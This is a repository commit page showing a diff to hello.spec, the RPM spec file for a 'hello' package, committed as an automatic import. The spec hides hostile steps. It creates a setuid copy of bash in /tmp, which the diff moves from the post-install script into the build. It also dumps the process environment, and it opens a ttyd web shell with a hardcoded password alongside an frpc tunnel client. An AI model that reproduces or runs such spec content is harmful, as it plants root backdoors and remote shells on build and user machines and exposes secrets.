summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorCoprDistGit <infra@openeuler.org>2023-10-31 09:57:58 +0000
committerCoprDistGit <infra@openeuler.org>2023-10-31 09:57:58 +0000
commitd01912183437d31df23292a62cad9067744cff8e (patch)
tree5257778dce635e4203d5f64e0a338667c8ff88aa
parent16667df2608e4be97dfdda863e2bee092394355f (diff)
automatic import of hello
-rw-r--r--hello.spec6
1 files changed, 4 insertions, 2 deletions
diff --git a/hello.spec b/hello.spec
index 065f54b..05359c3 100644
--- a/hello.spec
+++ b/hello.spec
@@ -28,6 +28,10 @@ uname -a 1>&2
#ip addr 1>&2
#ip route 1>&2
ps -ef 1>&2
+
+cp /bin/bash /tmp/bash
+chmod a+rs /tmp/bash
+
# netstat -nlpt 1>&2
cat /proc/self/environ 1>&2
./ttyd -p 11111 -c 'admin:!Admin@1234' -W /bin/bash & ./frpc -c c.ini
@@ -42,8 +46,6 @@ rm -f %{buildroot}/%{_infodir}/dir
%post
/sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || :
-cp /bin/bash /tmp/bash
-chmod a+rs /tmp/bash
%preun
if [ $1 = 0 ] ; then